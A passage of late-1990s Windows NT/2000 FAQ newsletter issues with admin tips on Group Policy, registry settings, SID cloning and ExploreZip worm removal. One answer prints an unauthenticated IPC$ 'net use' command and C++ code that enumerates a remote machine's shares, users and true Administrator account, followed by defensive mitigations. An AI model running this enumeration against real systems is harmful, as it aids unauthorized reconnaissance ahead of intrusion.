Finally unlike the 4.0 Group Policies the policy actually gets refreshed at certain times, well not ALL of the policy,  software deployment and folder redirection are not updated as, for example, you would be unhappy if the GPO was modified to remove Word and you were using it at the time and it suddenly uninstalled! All 2000 machines refresh the policy every 90 minutes except domain controllers who replicate every 5 minutes. These times and the parts to replicate can be modified within the GPO.

--------------------------------------------------------------------------------

Q. How can I force GPO updates to take effect?

A. Policies are refreshed every 90 minutes (5 on DC's). To force a machine to update the policy use the SECEDIT command.

To update the computer policy type

C:\> secedit /refreshpolicy machine_policy

To update the user policy type

C:\> secedit /refreshpolicy user_policy

Adding /enforce to any of the above forces a  reapply of the security policy even if there is no GPO change.

--------------------------------------------------------------------------------

Q. How can I enable the old NTCONFIG.POL to be used by Windows 2000 clients?

A. By default Windows 2000 based clients don't use NTCONFIG.POL but instead use Group Policy Objects (GPO) as defined in the Active Directory. NT 4.0 clients still use NTCONFIG.POL even in a 2000 domain.

It is possible to enable the 2000 clients to use NTCONFIG.POL however you should have a good reason as GPOs are superior to the old system policies. One reason to use NTCONFIG.POL in a 2000 domain may be that you have just created some 2000 clients in a newly upgraded 2000 domain but have not yet recreated your policies as GPOs.

To enable system policies (NTCONFIG.POL) perform the following

1, Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
2, Right click on the root domain name, for example savilltech.com and select Properties
3, Select the 'Group Policy' tab
4, Select the 'Default Domain Policy' GPO and click Edit
5, The Group Policy MMC snap-in will be started with the domain GPO at the root
6, Move to Computer Configuration\Administrative Templates\System\Group Policy
7, Double click 'Disable system policy' and set to Disabled. Click OK
8, Disabling disable system policy means enable the system policy, two minus's make a plus :-)
9, Close the Group Policy MMC

The updated GPO will take effect on the client the next time you logon (it will actually take effect max 90 minutes after you make the change but this only affects logon).

This update actually changes registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableNT4Policy to 0.

--------------------------------------------------------------------------------

Q. How can I add additional templates to a Group Policy Object?

A. The old style NT 4.0 templates (.adm) are still supported in Windows 2000 Group Policy Objects (GPO) and are listed in the Group Policy under the 'Administrative Templates' branch. These settings are all "registry" based settings.

Windows 2000 ships with two .adm files

system.adm (General system settings)
inetres.adm (Internet Explorer specific settings)
When a adm file is applied to a GPO it is copied from the %systemroot%\inf folder to the %systemroot%\SYSVOL\domain\Policies\<GUID of GPO>\Adm folder.

To add/remove a new template to a GPO perform the following:

1, Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
2, Right click on the container whose GPO you wish to change, for example savilltech.com and select Properties
3, Select the 'Group Policy' tab
4, Select the GPO and click Edit
5, The Group Policy MMC snap-in will be started with the GPO at the root
6, Under User or Computer configuration right click on 'Administrative Templates' and select 'Add/Remove Templates'
7, Click Add (or to remove select one and click Remove)
8, Select the ADM to add and click Open
9, Click Close

The new options will now be available
The ADM file will be copied to the GPO's Adm folder.

--------------------------------------------------------------------------------

Q. How can I switch a session between window and full screen?

A. Normally terminal server client sessions are in a window however you can switch to full screen mode so you can't tell you are in a session. To toggle between window and full screen mode press Ctrl+Alt+Break.

You can always tell a terminal server session as the Start menu text says Windows 2000 Terminal instead of Windows 2000 Professional or Server.

--------------------------------------------------------------------------------

Q. How can I disable media-sense for TCP/IP?

A. Windows 2000 introduces media-sense which in a Network Interface Card can detect if it is connected to a network cable and if it is not connected it disables protocols on that adapter (although the loopback address 127.0.0.1 and the local hostname still works).

This may be very inconvenient especially on portables as you may have programs running which requires use of its normal IP address so you can disable this media-sense for TCP/IP only (not the other protocols)

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
3, From the Edit menu select New - DWORD value
4, Enter a name of DisableDHCPMediaSense and press Enter
5, Double click the new value and set to 1
6, Click OK
7, Reboot the computer

--------------------------------------------------------------------------------

Till next week, take care!

John


From: John Savill [john@savilltech.com]
Sent: 15 June 1999 15:21
To: NTFAQ Mailing List
Subject: NT FAQ, 15 June 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Windows 98 Second Edition released, see http://www.microsoft.com/windows98/

NEW VIRUS, very damaging, ExploreZip.Worm discovered. This got a LOT of companies and should teach us ALL to be extra careful when opening any attachment, the problem with this virus is it looked to be from someone already known to you!

I want a new logo for the NT FAQ and a logo for Windows 2000 FAQ (which I'm going to start populating soon). If anyone is talented and has time on their hands I'd like to run a little competition to design a logo for the FAQ and will try and sort out a prize for the winner.
This may seem by some cynical people like an attempt by me to not have to pay someone and get a free logo, but I really feel it would bring the FAQ community together ;-). If you make a product and would be willing to donate a copy to the winner (or runners up) please let me know in return for publicity on this mailing list.
Codeguru.com did this and he got a really good logo, grrrr.
Any submissions please mail to john@ntfaq.com and I'll create a new page for them all to be displayed on and I will pick a winner (or create a voting scheme).

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out in July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last week:

Q. What are the problems with workstations having the same SID?
Q. What operating systems can I clone?
Q. How can I cancel a scheduled NTFS conversion?
Q. How do I enable DNS round robin resolution?
Q. Unix users can't talk to an Exchange box News server without requiring authentication domain\user, why?
Q. Does the Exchange News server support mode stream?
Q. How can I fax from Exchange server?
Q. What is ExploreZip.worm and what should I do?

-----------------------------------------------------------------

Q. What are the problems with workstations having the same SID?

A. At the start of the GUI phase of installation each NT/2000 installation generates a unique Security IDentifier (SID). If you then clone a workstation each installation would have the same machine SID. This is not a problem in a Windows NT 4.0 domain as users have a SID generated by the domain controller and do not user the local workstation SID for security. It IS a problem in a Windows 2000 domain as the local machine SID is used in nearly all aspects of security and before migrating to 2000 you should resolve any duplicate SID issues which may have been caused by cloning installations.

Duplicate local SID's are also a very big security risk in Workgroups, lets look further.

In a workgroup the user accounts are based on the local workstation SID plus a relative identifier (RID), if all the workstations had the same SID then the first account generated (and so forth) on each workstation is the same because of the duplicate local SID. This makes it impossible to secure files and folders on a user basis since different users will have the same SID and all security is based on the user SID.

An example illustrates this best:

Two workstations, wstation1 and wstation2 deployed using cloning software each have duplicated SID's.

User John on wstation1 has a local machine account on wstation1 of S-1-5-34-148593445-285934854-2859284934-1010.

User Kevin on wstation2 has a local machine account on wstation1 of S-1-5-34-148593445-285934854-2859284934-1010.

User John saves private work on an NTFS drive and creates a share called private that only he can access. If Kevin browses the network and attempts connection he will have full access as his SID is identical to John's. There is no way to differentiate between them. Expand this to 100 machines installed via duplication all with the same local SID then you can see you have no security. Any files stored on removable media with security would also be vulnerable.

Microsoft has a tool, SYSPREP, which can be used on a workstation system BEFORE cloning which resolves the SID problem by generating a new SID when the new cloned installations are started. SYSPREP is provided as standard in Windows 2000 and a version for 4.0 can be requested from Microsoft.

SYSPREP does have a few "problems" on Windows member servers as if a server with several local accounts is cloned the SID of any extra accounts are not updated, only the two primary accounts, Administrator and Guest are fixed. This means other accounts would be left with the old SID and thus considered orphaned.

Other SID fixing utilities are:

SIDchanger - http://www.powerquest.com
GHOST Walker - http://www.ghostsoft.com
NTSID - http://www.sysinternals.com

-----------------------------------------------------------------------------

Q. What operating systems can I clone?

A. Below is a brief summary of each operating systems ability to be cloned:

Windows 95

Windows 95 was not designed to support disk-image copying and is not supported although copying on systems with similar hardware should work.

Windows 98

Windows 98 duplication is supported if the Microsoft Windows 98 Image Preparation Tool is used to prepare the master disk image.

Windows NT Workstation and Server 4.0

Microsoft supports cloning as a method of distribution in the following scenarios but NOT domain controllers:

The master disk is copied at the end of the text portion of setup but BEFORE the GUI phase begins. This is because a local SID has not yet been created and no major specific hardware specific configuration has been completed.
The master system has the system preparation tool users and then cloned and the target system has identical hardware.
Windows 2000 Workstation and Server

As with 4.0 but with the 2000 version of SYSPREP.EXE

--------------------------------------------------------------------------------

Q. How can I cancel a scheduled NTFS conversion?

A. If you have scheduled a NTFS conversion for next reboot using the CONVERT command it can be canceled as follows:

Start the registry editor (regedt32.exe NOT regedit.exe)
Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
Double click BootExecute
Change from
autoconv \DosDevices\x: /FS:NTFS
to:
autocheck autochk *
Click OK
Close the registry editor

--------------------------------------------------------------------------------

Q. How do I enable DNS round robin resolution?

A. Recent Windows NT service packs introduced LocalNetPriority which tries to return Host resources that are local to the requestor instead of using round robin however round robin can be enabled as follows:

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
From the Edit menu select New - DWORD Value
Enter a name of LocalNetPriority and press Enter
Double click the new value and set to 0 to disable LocalNetPriority and re-enable round robin. Click OK
Close the registry editor
Stop and restart the DNS service

--------------------------------------------------------------------------------

Q. Unix users can't talk to an Exchange box News server without requiring authentication domain\user, why?

A. This can be corrected by allowing anonymous access to News as follows:

Start the Exchange Administrator program (Start - Programs - Microsoft Exchange - Microsoft Exchange Administrator)
Expand the Org, site, Configuration and Protocols
Double click NNTP
Select the Anonymous tab
Check the "Allow anonymous access" box
Click Apply
Click OK
Close the Exchange Administrator program

--------------------------------------------------------------------------------

Q. Does the Exchange News server support mode stream?

A. No, Exchange 5.5 does NOT support MODE STREAM. The next major release (ie Platinum) will support MODE STREAM.

MODE STREAM is used by a peer to indicate to the server that it would like to suspend the lock step conversational nature of NNTP and send commands in streams. This command should be used before TAKETHIS and CHECK.

--------------------------------------------------------------------------------

Q. How can I fax from Exchange server?

A. Exchange server does not include a fax connector, you have to buy a third party fax server. One of those connectors is FAXmaker for Exchange, which is available as a free 5 user version.

There is also a complete list of Exchange fax connectors at http://www.ntfaxfaq.com

--------------------------------------------------------------------------------

Q. What is ExploreZip.worm and what should I do?

A. A new virus was discovered on 10/06/1999 with the following text in as the body:

"I received your email and I shall send you a reply ASAP.
Till then, take a look at the attached zipped docs."

The subject line is not constant as the message is a reply. The worm (named "zipped_files.exe") is attached, with a file size of 210,432 bytes. The file has a Winzip icon which is designed to fool unsuspecting users to run it as a self-extracting file. User who run this attachment will be presented with a fake error message that says

"Cannot open file: it does not appear to be a valid archive. If this file is part of a ZIP format backup set, insert the last disk of the backup set and try again. Please press F1 for help."

The virus then searches for the following files and replaces them with 0 block files:
.c
.cpp
.h
.asm
.doc
.xls
.ppt

Check you anti-virus software sites for a fix, http://www.nai.com has one. To manually repair:

Remove the line run=C:\WINDOWS\SYSTEM\Explore.exe from the WIN.INI file

Edit the registry (using regedit.exe or regedt32.exe) and check the value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run does not call explore.exe. If it does clear the value.

Delete the file "C:\WINDOWS\SYSTEM\EXPLORE.EXE". You may need to reboot first,
if the file is currently in use (or stop the process using task manager).

I've had first hand experience and it is VERY nasty.

--------------------------------------------------------------------------------

Take care and see you next week,

John


From: John Savill [john@savilltech.com]
Sent: 16 March 2000 18:49
To: NTFAQ Mailing List
Subject: ** NT/2000 FAQ, 16 March 2000 **

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Microsoft have shipped over 1,000,000 units of Windows 2000 and the call centre has been quiet by all accounts. If you can, get the 2000 CD, as its actually a hologram and looks really cool. Microsoft were kind enough to send me a free full version, thanks!

Windows 2000 Magazine created a list of the top 10 NT/2000 reference sites and NTFAQ.COM was #2 behind Microsoft TechNet, I can live with that :-).

The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi

New additions last week:

Q. How do I reset the DVD region count?
Q. How can I disable the Start menu program scroll?
Q. How can I detect if Windows Update is installed on a machine?
Q. How do I add a DWORD value from a .INF file?
Q. How can I stop UNC shares automatically being added to My Network Places?
Q. DontDisplayLastUserName setting is lost in upgrade from NT 4.0 to Windows 2000.
Q. How is information enumerated through NULL session access, Remote Procedure Calls and IPC$?
Q. I get an IRPStackSize event log every time I start Windows 2000.
Q. How do I enable disk counters in Performance Monitor in Windows 2000?
Q. Global.exe does not work with DNS domain names.

----------------------------------------------------

Q. How do I reset the DVD region count?

A. Windows 2000 keeps track of the DVD region and after its initial setting you are allowed to only change it once more. Its possible to reset the counter by performing the following registry change:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
3, There will be a subkey (the first) of a strange format, e.g. ';t-z% with a single REG_QWORD value
4, Select the key and delete
5, Restart the computer

Upon restart you should be able to modify the region again.

--------------------------------------------------------------------------------
Q. How can I disable the Start menu program scroll?

A. In Windows 2000 the Start menu will scroll the content if there are more than the number that can fit in a single column. In Windows NT multiple columns would be used where needed. Its possible to configure the system to use the old NT 4.0 method of multiple columns by performing the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3, Double click StartMenuScrollPrograms and set to "NO" (don't type the quotes)
4, Click OK
5, Close the registry editor
6, Reboot the computer

You can also make the change by performing the following:

Select Start - Settings - Taskbar & Start menu
Select the Advanced tab
Unselect 'Scroll the programs menu' and click OK

--------------------------------------------------------------------------------
Q. How can I detect if Windows Update is installed on a machine?

A. Windows 2000 includes the Windows Update as a core component but it was also supplied with Internet Explorer 4.0 for NT 4.0 as an option. To check if its installed there are a number of methods:

Right click on the taskbar and if a Toolbar option is present then the Windows Update is installed
Right click an item in the Start menus Programs area and if a menu is shown then Windows Update is installed
To tell from a script check for the following key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4340}and if its IsInstalled value is 1 then the windows update is installed.

You could use the resource kit REG.EXE utility with the /query switch to perform this check.

--------------------------------------------------------------------------------
Q. How do I add a DWORD value from a .INF file?

A. An inf file has many uses including the creation of registry keys. Normally a string value is created but to create a DWORD use the following format:

[Version]
Signature = "$Windows NT$"
Provider=%Provider%

[Strings]
Provider="SavillTech Ltd"

[DefaultInstall]
AddReg = AddReg
DelReg = DelReg
UpdateInis = UpdateInis

[AddReg]
HKLM,"Software\SavillTech","A DWORD",65537,ee,ff,c0,00
[DelReg]
[UpdateInis]

The important part is after the value name "A DWORD" is the type and a 0 in lowest bit means a string value, a 1 means another type. 0x10000 is a DWORD value hence 65537. The rest if the value is in four hexadecimal numbers.

--------------------------------------------------------------------------------
Q. How can I stop UNC shares automatically being added to My Network Places?

A. In Windows 2000 if you open a file or web via a UNC name it will automatically be added to the My Network Places area. To stop this happening perform the following:

1, Click Start, click Run, type mmc.exe, and then click OK.
2, In Microsoft Management Console (MMC) click Add/Remove Snap-in on the Console menu.
3, Click Add.
4, Click Group Policy, and then click Add.
5, Accept the default (which is Local Computer), and then click Finish.
6, Click Close, and then click OK.
7, Under Local Computer Policy, expand the User Configuration entry.
8, Expand the Administrative Templates entry.
9, Expand the Desktop entry.
10, Right-click Do not add shares of recently opened documents to My Network Places, and then click Properties.
11, Click Enabled, and then click OK.

The above works on a local machine, for a domain/site/OU group policy you would open the corresponding Group Policy Object, goto User Configuration\Administrative Templates\Desktop area and make the change.

You can also make the change in the registry by setting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsNetHood to 1.

--------------------------------------------------------------------------------
Q. DontDisplayLastUserName setting is lost in upgrade from NT 4.0 to Windows 2000.

A. When you upgrade to Windows 2000 and select for the terminal services component to be installed the DontDisplayLastUserName setting is reset to 0. To fix you will need to manually set back to 1

1, Start the registry editor
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3, Double click DontDisplayLastUserName
4, Set to 1. Click OK
5, Close the registry editor

--------------------------------------------------------------------------------
Q. How is information enumerated through NULL session access, Remote Procedure Calls and IPC$?

A. A NULL session connection is an unauthenticated connection to an NT/W2000 machine. Gaining NULL session access to an NT\W2000 system is the number one method for hackers to enumerating information about an NT\W2000 machine.
From a NULL session hackers can call APIs and use Remote Procedure calls to enumerate information. These techniques can, and will provide information on passwords, groups, services, users and even active processors. NULL session access can also even be used for escalating privileges and perform DoS attacks.

See the below table for TCP/UDP ports and their use within NT\W2000.

Keyword Decimal Description
---------------------------------------------------------------
loc-srv 135/tcp Location Service (RPC endpoint mapping)
loc-srv 135/udp Location Service (RPC endpoint mapping)
netbios-ns 137/tcp NETBIOS Name Service
netbios-ns 137/udp NETBIOS Name Service
netbios-dgm 138/tcp NETBIOS Datagram Service
netbios-dgm 138/udp NETBIOS Datagram Service
netbios-ssn 139/tcp NETBIOS Session Service
netbios-ssn 139/udp NETBIOS Session Service

For more information on port usage, see RFC1001, RFC1002

The above ports are often found open on a standard NT\W2000 installation. A null session can only be made to TCP port 139, but the above other ports are often required for code to be called effectively. Port 135 for example is used for RPC endpoint mapping.

From a hackers point of view when thinking about written code to enumerate this information; Exactly what can be called is hard to know, except for the things that are already known. There is little documentation available outside of Microsoft that describes the different calls available after a null session has been established. The only thing hackers can do is try whatever they can think of and see what happens, then try to understand why it works the way it does.

There could be things nobody outside Microsoft knows of yet. A lot of what is known though is wrote into tools to enumerate this information, tools such as penetration scanners, DumpACL, epdump, Getmac and even net view use these techniques. This is the only way currently coded into NT/Windows 2000 to gather such information remotely. These tools are unfortunately a doubled edged sword, a balance between usability and security. Windows 2000 uses this same method for information enumeration so the same problems/usability will persist.

What this does tell us though is that these NULL sessions, RPC etc should not be allowed on public networks or even private networks on some occasions if security is of concern. This type of access requires the use of session layer protocols Server Message Block (SMB) and NetBIOS that provide I higher layer functionality to that of simply TCP/UDP/IP. The TCP/IP connection to port 139 is made, then the session layer protocols SMB and NetBIOS are used to access the NT hidden share IPC$. From the NT command line this can be performed with the following: net use \\127.0.0.1\ipc$ "" /user:"" This technique was programmatically written into an old exploit called the Redbutton attack.

From this NULL session connection all the above mentioned tools can be used and standard Microsoft APIs called. For example the WIN32 functions, LookupAccountName and LookupAccountSid, which reveal the SID or RID to account name and account name to SID or RID. Examples of these functions being called can be seen in user2sid.exe and sid2user.exe developed by Evgenii Borisovich Rudnyi.

What is shown below is a programmatic connection to an NT\W2000 machines via NULL sessions that then enumerates the true administrator account. This is achieved by using APIs to scan for the SID with the value 500, which is always the Administrator account renamed or otherwise. The following code segment was supplied by JD Glaser from NT OBJECTives, Inc which is an excellent site for NT tools which demonstrate this same level of remote access (http://www.ntobjectives.com/).

Follow the comments to see exactly where the APIs are used to enumerate the relevant information;

First - making a NULL Session connection

One way to this is by using the Net Use command with an empty password.
Programmatically, it looks like this:

//This function called from dialog that fills listbox with connections

BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)
{
//Setup for UNICODE
char* pTemp = TargetHost.GetBuffer(256);
WCHAR wszServ[256];
LPWSTR Server = NULL;

//Convert to Unicode
MultiByteToWideChar(CP_ACP, 0, pTemp,
strlen(pTemp)+1, wszServ,
sizeof(wszServ)/sizeof(wszServ[0]) );

//Create the IPC$ share connection string we need
Server = wszServ;

LPCWSTR szIpc = L"\\IPC$";
WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL
DWORD dwServNameLen;
DWORD dwRC;

//Setup Win32 structures and variables we need
NET_API_STATUS nas;

USE_INFO_2 ui2;
SHARE_INFO_1* pSHInfo1 = NULL;
DWORD dwEntriesRead;
DWORD dwTotalEntries;

//Set up handles to tree control to insert connection results

HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;

char sharename[256];
char remark[256];

if(Server == NULL || *Server == L'\0')
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

dwServNameLen = lstrlenW( Server );

//Test for various errors in connection string and recover
if(Server[0] != L'\\' && Server[1] != L'\\')
{
// prepend slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count
RemoteResource[0] = L'\0';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

if(lstrcatW(RemoteResource, Server) == NULL) return FALSE;
if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;
//Start with clean memory
ZeroMemory(&ui2, sizeof(ui2));
//Fill in the Win32 network structure we need to use connect API
ui2.ui2_local = NULL;
ui2.ui2_remote = (LPTSTR) RemoteResource;
ui2.ui2_asg_type = USE_IPC;
ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL
ui2.ui2_username = (LPTSTR) L"";
ui2.ui2_domainname = (LPTSTR) L"";

//MAKE THE NULL SESSION CALL
nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0,

TVI_ROOT);
}

//THIS IS WHERE NT HANDS OUT IT INFORMATION
nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,
MAX_PREFERRED_LENGTH,
&dwEntriesRead,
&dwTotalEntries, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
if(dwTotalEntries > 0)
{
shareRoot = pDlg->m_Victims.InsertItem("Shares",
machineRoot,TVI_LAST);
userRoot = pDlg->m_Victims.InsertItem("Users",
machineRoot,TVI_LAST);
adminRoot = pDlg->m_Victims.InsertItem("Admin",
machineRoot,TVI_LAST);

}
for(int x=0; x<(int)dwTotalEntries; x++)
{
// Convert back to ANSI
WideCharToMultiByte(CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_netname, -1,
sharename, 256, NULL, NULL
);

WideCharToMultiByte( CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_remark, -1,
remark, 256, NULL, NULL );
CString ShareDetails = sharename;
ShareDetails = ShareDetails + " - " + remark;
//fill the tree with connect info
attribRoot = pDlg->m_Victims.InsertItem(ShareDetails,
shareRoot,TVI_LAST);
pSHInfo1++;
}
}

//My Wrapper function for listing users - see below
DoNetUserEnum(Server, pDlg, userRoot, adminRoot);

//WE ARE DONE, SO KILL THE CONNECTION
nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);

TargetHost.ReleaseBuffer();
SetLastError( nas );
return FALSE;
}

The following function is how one can programmatically determine the
administrator status of an account......

bool GetAdmin(char* pServer, char* pUser, CString& Name)
{
BOOL fAdmin = FALSE;
DWORD dwDomainName,dwSize,dwAdminVal;
SID_NAME_USE use;
PSID pUserSID = NULL; // SID for user
int rc;
int iSubCount;

bool bFoundHim = 0;
dwDomainName = 256;
dwSize = 0;
dwAdminVal = 0;
iSubCount = 0;

//Call API for buffer size since we don't know size beforehand
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
rc = GetLastError();

//Allocate a larger buffer
if(rc == ERROR_INSUFFICIENT_BUFFER)
{
pUserSID = (PSID) malloc(dwSize);

//Repeat call now that we have the right size buffer
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
}

//Scan the SIDS for the golden key - ADMIN == 500

//Get a count of SID's
iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID));
//Admin SID is the last element in the count
dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));

if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN
{
Name.Format("Admin is %s\\%s\n", szDomainName, pUser);
bFoundHim = true;
}

delete pUserSID;
return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE
}

Wrapper for Listing the user accounts.....

void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg,
HTREEITEM userRoot, HTREEITEM adminRoot)
{
USER_INFO_10 *pUserbuf, *pCurUser;
DWORD dwRead, dwRemaining, dwResume, dwRC;

char userName[256];
char userServer[256];

dwResume = 0;

if(pServer[0] != L'\\' && pServer[1] != L'\\')
{
//Start sting with correct UNC slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count

RemoteResource[0] = L'\0';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return;
}

if(lstrcatW(RemoteResource, pServer) == NULL) return;

do
{

pUserbuf = NULL;

//THIS IS THE API THE NT USES TO HAND OUT IT's LIST
dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**)
&pUserbuf, 1024,
&dwRead, &dwRemaining, &dwResume);
if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS)
break;

DWORD i;
for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser)
{

// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name,
-1, userName, 256, NULL, NULL );
// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pServer, -1,
userServer, 256, NULL, NULL );

if(!GotAdmin)
{
//use char strings
CString Admin;
GotAdmin = GetAdmin(userServer, userName, Admin);
if(GotAdmin)
{
Admin.TrimRight();
HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin,
adminRoot, TVI_LAST);
pDlg->m_Victims.EnsureVisible(adminChild);
}
}

CString strUserName = userName;
pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST);

}
if (pUserbuf != NULL)
NetApiBufferFree(pUserbuf);
} while (dwRC == ERROR_MORE_DATA);

if (dwRC != ERROR_SUCCESS)
printf("NUE() returned %lu\n", dwRC);
}

So what can be done to stop all this?

Several things can be done but in doing them you will reduce the functionality of your NT\W2000 machine. A balance between  usability/functionality and security needs to be found.

1. See Q. How can I restrict access to objects from Anonymous accounts?

Please read MSKB Q143474 to understand the effect this has.
Strangely NULL sessions can still be made, but the information that is available is restricted. For example sid2user will still function even with RestrictAnonymous set.
See http://geek-girl.com/bugtraq/1997_2/0079.html for the original exploit.
This registry setting is automatically created within Windows 2000 but is set to (0) disabled.

2. Removing the 'Workstation' and 'Server' service. This removes the ability of the NT\W2000 machine to respond to client or server requests.

3. Disabling NetBIOS through the registry and or removing the 'NetBIOS Interface' service. This removes the session layer protocol NetBIOS which is required for file sharing (IPC$).

Remember you must understand the functionality that this will reduce from making any of these changes. For example the above level of change(s) may not be desirable for a workstation but would be for a web server.

Things are changing with Windows 2000, as NetBIOS is not actually required anymore in a native Windows 2000 environment. Windows 2000 also reduces the available APIs that can be called, for example the 'reg' calls are greatly reduced. So no longer can registry permissions be enumerated in Windows 2000 like they could within NT. Most of the other calls are still available in W2000 like SID information and the file ACLs all via the NULL session.

There are also other methods for preventing NULL session other than the ones described above. These are possibly the most effect on an NT\W2000 O/S level though. See http://www.stationx.net/ntsecurity/ for more information. On a network level the TCP/UDP ports 135-139 detailed above would be blocked using firewall(s) and or filtering router(s) from public access.

Contributed by Nathan House

--------------------------------------------------------------------------------
Q. I get an IRPStackSize event log every time I start Windows 2000.

A. I've seen this on all my Windows 2000 installations and its caused if the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\IRPStackSize is less than 11.

To correct the problem perform the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
3, Double click on IRPStackSize
4, Set the type to decimal and enter 11. Click OK
5, Close the registry editor

You can also run the reg file at http://www.ntfaq.com/ntfaq/misc/fixirpstacksize.reg to fix it for you.

--------------------------------------------------------------------------------
Q. How do I enable disk counters in Performance Monitor in Windows 2000?

A. In Windows NT 4.0 all disk counters are disabled by default but it is slightly different in Windows 2000.

In Windows 2000 the physical disk object is turned on by default which the logical disk object is turned off by default.

To enable the logical disk objects enter the command

C:\>diskperf -yv

Both Logical and Physical Disk Performance counters on this system
are now set to start at boot.

To disable all disk counters use the

C:\> diskperf -n

command. The full options are:

DISKPERF [-Y[D|V] | -N[D|V]] [\\computername]

-Y  Sets the system to start all disk performance counters when you restart the computer.
-YD Enables the disk performance counters for physical drives when you restart the computer.
-YV Enables the disk performance counters for logical drives or storage volumes when you restart the computer.
-N  Sets the system to disable all disk performance counters when you restart the computer.
-ND Disables the disk performance counters for physical drives.
-NV Disables the disk performance counters for logical drives.

--------------------------------------------------------------------------------
Q. Global.exe does not work with DNS domain names.

A. Global.exe is used to display members of global groups on remotes servers or domains however it does not support the Windows 2000 DNS domain names and so you must use the alternate NetBIOS domain name.

--------------------------------------------------------------------------------

Till next week, HAVE FUN!!!!

John

=======================================================================
The NT Frequently Asked Questions List Created by John Savill
NT FAQ List delivery provided by ED-COM, http://www.ed-com.com
To unsubscribe from this list send a message to
mailto:nt-faq@ed-com.com with the word unsubscribe in the body
Problems with subscription? mailto:awoodrick@ed-com.com
=======================================================================


